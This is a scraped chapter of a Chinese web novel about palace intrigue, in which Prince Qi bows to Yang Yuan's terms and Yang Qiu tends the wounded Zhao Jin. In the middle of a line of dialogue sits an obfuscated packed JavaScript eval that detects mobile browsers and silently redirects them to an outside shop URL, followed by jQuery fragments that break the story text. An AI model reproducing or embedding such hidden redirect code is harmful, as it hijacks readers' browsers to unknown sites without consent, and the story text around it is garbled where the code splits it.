文趣网 > 都市小说 > 侯门金枝 > 232. 第 232 章
    “你到底要如何?”

    下朝之后,齐王怒气冲冲回到御书房,杨鸢在他身后不紧不慢跟着,听见齐王发问,轻笑了一声。

    “愿赌服输,王爷。”杨鸢耸耸肩,一脸爱莫能助地道。

    两个个时辰前,大殿。

    “敢问王爷,韩相及沈侍郎,还有杨监正现在何处?”吴御史问道。

    “这,他们为了豫王之事暂留宫中。”齐王心念电转,不过片刻已经找好了借口:“本王初掌国事,与三位大人——”

    “即是如此,豫王殿下薨逝之后,就没见过三位大人在出现在朝会上。”

    齐王额头渗出一点薄汗,只听吴御史接着道:“敢问王爷,出了这等大事,何以他们三位没有参与朝会?”

    “吴御史所言极是,微臣也有一问。”吏部郑侍郎也站了出来:“王爷前日因何无故搜查定陵侯府?”

    “定陵侯上书至政事堂,说王爷府中的长史冯铣私闯侯府,王爷又作何解释?”

    齐王在几面夹击之下狼狈至极,只能含糊其辞:“这,这都是误会,只是因为东阳郡主侍奉太后,思念家中——”

    “王爷,还有一事。”

    “杨大人。”

    冯长史铁青着脸,站在杨鸢面前,恨恨地道:“王爷请您上大殿议事。”

    杨鸢面上并没有过多表情,一如平常的走上大殿,站在阶前行礼。

    见到她前来,吴御史立刻迫不及待地问道:“杨大人,日食结束后,城中异象频发,你有何看法?”

    “此事我已经交代过司天监,并发出公函。”杨鸢叹了口气:“至于王爷想出的什么妖邪祭天,海清河晏,我可就不知道了。”

    “如今城中大乱,百姓不解其意,仍是已安抚为药。”韩芾道。

    韩芾和沈成济解开了拘禁,自然以辅政大臣的姿态主持起国事来:“杨大人,此事尚需司天监出面,给百姓一个能信得过的说法。”

    “谨遵钧命。”杨鸢应道。

    整场朝会持续了两个时辰,齐王辅政这几日,虽说没出什么大乱子,到底他将不少心思放在排除异己上,政务自然有所疏忽。

    齐王只能尴尬地坐在上面赔笑,面对朝臣请奏,也只能皮笑肉不笑的应了。

    朝臣没有那么好糊弄,齐王心想,不论如何,他们也不会拥立一个宗室做皇帝。

    一来二去只剩下杨鸢一开始给自己的那条路,答应她的全部条件,她矫诏助自己登基。

    只是这样,他注定要分出很多权力,时刻活在杨鸢和那封真遗诏的阴影之下。

    齐王握紧了拳头。

    “好,本王答应。”齐王站在御书房中央,咬牙切齿地瞪着杨鸢:“本王答应你的条件。”

    “王爷是聪明人,其余话不用我多说。”杨鸢微微一笑,眼神里充满了挑衅。

    “时候正好,我要回一趟家,王爷自便。至于皇宫的封锁——”

    杨鸢慢慢悠悠丢下一句话:“皇城守卫已经由兵部接管,王爷不必忧心,至于那些参与封锁皇宫的府兵,已经去皇陵镇守了。”

    她转过身看着齐王,道:“王爷知道,无故封锁皇宫,这样的结果,已经是太后娘娘仁慈了。”

    杨鸢说罢,朝着齐王笑了笑,才迈开脚步向外走去。

    齐王站在原地,脸色阴沉,一想到这几日的努力付诸东流,更是怒不可遏起来。

    既然如此,别怪我狠心,齐王在心底盘算到,那我也只有先下手为强了。

    他要留给太庙一场别开生面的登基典礼。

    长宁宫。

    天色渐渐昏暗,杨湫长处一口气,擦掉了额头上的汗。

    “太后娘娘,您慢些——”翠袖姑姑的声音传进来,杨湫闻声望去,连忙过去请安。

    “微臣拜见太后娘娘。”

    杨湫俯身下拜,太后急不可耐地问道:“快,快免礼。司天监的人说,处死那妖邪会祸及子孙,会应验的。”

    太后眼中似乎有泪花:“哀家方才已经派人去问了皇帝和怀王,他们平安无事。康王呢?”

    “请太后娘娘恕罪。”杨湫眉间凝结着浓稠的哀怨之色:“的确如二姐所言,这场祸事,还是应验在康王殿下身上,微臣无能,只能保住殿下性命,至于解祸之法,还得由司天监出面。”

    太后一听,双腿发软,险些昏了过去。

    “太后娘娘!”杨湫疾步上前,拿出自己的鼻烟壶,放在太后鼻尖下:“请太后娘娘务必保重。”

    太后勉强缓过一口气来,抓着杨湫的手,急切地道:“你要什么,哀家这就派人去传旨,不论如何,你都要把康王救回来!”

    杨湫一口答应下来,太后在翠袖姑姑等人的搀扶下离去,杨湫才返回了内室。

    “唉。”她情不自禁地轻叹了一声,余光看到赵瑾似乎有醒转的迹象,连忙走了上去。

    “怎么醒了?是哪里不适?”杨湫坐在床边,小心翼翼地检查了一番,才松了口气。

    “没,只是刚才听到外面有声音。”赵瑾轻轻地问道:“皇祖母来过了?”

    杨湫颔首:“是,她担忧诅咒应验,过来探望一番。”

    她伸手避开赵瑾身上层层缠绕着的纱布:“这些伤还要清洗换药,若是痛了,记得喊我。”

    赵瑾忽而笑了起来,道:“你这话讲的,倒让我想起来在河洛的时候。”

    “那次分明是——”杨湫哭笑不得:“这又怎么能相提并论?”

    “你那时候还怨我怎么不躲开。”赵瑾提醒道:“静梧,你忘记了吗?”

    杨湫‘哼’了一声,没好气地道:“记忆犹新,怎么忽然说起来这个?”

    “无妨,就是觉得总是在麻烦你,每次出事,都要你替我操劳。”

    听赵瑾这么说,杨湫不由得怔忡片刻,苦笑道:“你若是真的这么想,那以后便保重自己。”

    这半年以来诸多变故,连番的伤病,就算是神仙也顶不住。

    “我知道了。”赵瑾抬眸,仔细描摹着杨湫的神色:“我会记在心里的。”

    为那些细如发丝的伤口清洗上药并不容易,过了小半个时辰,杨湫才抬起头,用手帕拭去了额上的汗水。

    “已经没事了,你安心静养就好了。”杨湫舒了一口气,道:“那天之后到底发生何事?”

    “三哥薨逝的消息还未传开,皇叔就说有人在太液池附近见过我,将我投入天牢之中。”

    赵瑾仿佛想起了什么,神色骤然间阴沉下去:“静梧,还有一件事,我想问你。”

    “问吧。”杨湫道。

    “我在天牢之中,听狱卒说,皇叔要册封你做他的正妃?”

    杨湫听他问起此事,神色间也没有多大变动,平铺直叙地道:“确有此事。”

    赵瑾闻言,猛地睁大了眼睛,似是难以置信:“真,真的?”

    “对。”杨湫干脆利落道:“我没答应。后来二姐想办法说服了太后娘娘,此事便不了了之了。”

    “是吗,那就好。”赵瑾松了口气。

    “在担心什么?担心我会答应?”杨湫问道。

    “没有。”赵瑾摇摇头:“比

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799394|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起那个,我更怕自己不能活着出去见你。”

    齐王未达目的,一定会不择手段,更何况他要杨湫做自己的正妃,也不过是为了报复。

    “你这个人真是。”杨湫啼笑皆非,嗔怪地道:“倘若我没有在太庙认出你,你待如何?”

    “我——”赵瑾顿时欲言又止,想起在太庙时的细节,情绪又低落下来。

    杨湫沉默不言,脑海里也在不断回忆那一天的情景。

    昨日深夜。

    “二姐!”杨湫风风火火来到御书房,神色间写满了焦急:“二姐,出事了!”

    “怎么了?你找到康王了?”杨鸢见她神情凝重,眉尖下意识蹙起。

    杨湫深吸一口气,强迫自己镇定,紧接着开口道:“齐王将人关在了太庙,谎称是妖邪之物,准备明日处决。”

    杨鸢倒抽一口冷气,飞速地开始思考对策:“齐王动手,是换个方法破除我安排的流言。假遗诏应该被他们拿走了。”

    “现在我们能做到的,只有拖延时间,等到日食过去。”杨湫面上爬满了焦躁,眉头紧皱着。

    “现在也只能将计就计,用他的妖邪之说来化解。”杨鸢主意已定,道:“我去拜见太后娘娘,请她驾临太庙阻拦。”

    “二姐放心,拖延时间的事情,就交给我吧。”

    杨湫抿唇,缓缓地抬起眼睛,道:“齐王多疑,只要我手里还有一份遗诏,他必然会起疑心。”

    能拖延多久,就看杨湫如何挑动齐王的疑心了。

    她带着那截明黄的衣料踏进太庙时,险些被眼前冲天火光灼伤双目。

    杨湫一惊,几乎是下意识的喊出了那句:“且慢——!”

    “静梧?静梧?”赵瑾一连喊了几声,杨湫才回过神来,对上他担忧的目光。

    “没什么。”杨湫平复了思绪,道:“一切都结束了,我们没事了。”

    “真的吗?可是皇叔没有身死,就一定会卷土重来的。”赵瑾盯着杨湫不放,问道:“能让他松口,是不是你们又做了别的什么交换?”

    交换?杨湫在心里咀嚼了一遍,忽然间觉得,叫胁迫更合适一点。

    “二姐手里有真正的遗诏,齐王投鼠忌器,不敢轻举妄动。”杨湫浅浅笑道。

    赵瑾心中的隐忧仍未散去,听杨湫如此说,也只能暂时安下心静养。

    齐王被迫答应了杨鸢开出的一切条件,装模作样的在全城百姓面前,一步一叩,亲自向大慈恩寺祈福。

    城中的异象如朝露一般消失无痕,眼见天象风波已过,朝臣们不约而同向太后上书,请求太后做主,册立储君。

    皇帝昏迷至今,太医院诊断,命数只在须臾数日,时间更是紧迫。

    真正的遗诏被藏在当初命赵瑛监国的圣旨背后,安静地躺在豫王府中。

    “原来遗诏被藏在了这里。”

    长宁宫内,杨湫和赵瑾对坐在偏殿暖阁之中,手里握着那份皇帝遗诏。

    “父皇向我提过。”赵瑾看着遗诏,情不自禁叹了口气:“三哥薨逝,这道遗诏终究——”

    “它最大的作用,是诛杀齐王。”杨湫合上遗诏,撇了一眼赵瑾的神色,问道:“若是齐王伏诛,按陛下遗诏,你就要去往蜀中了。”

    “父皇是不希望我留下的。”赵瑾轻笑了一声,似乎已经释然:“蜀中安乐富贵,其实也没什么不好的,唯独委屈你。”

    “我怕什么?”杨湫无所谓地道:“豫王殿下已故,总得选一个人来继承皇位。”

    “不论是什么结果,到底我们都在一起。”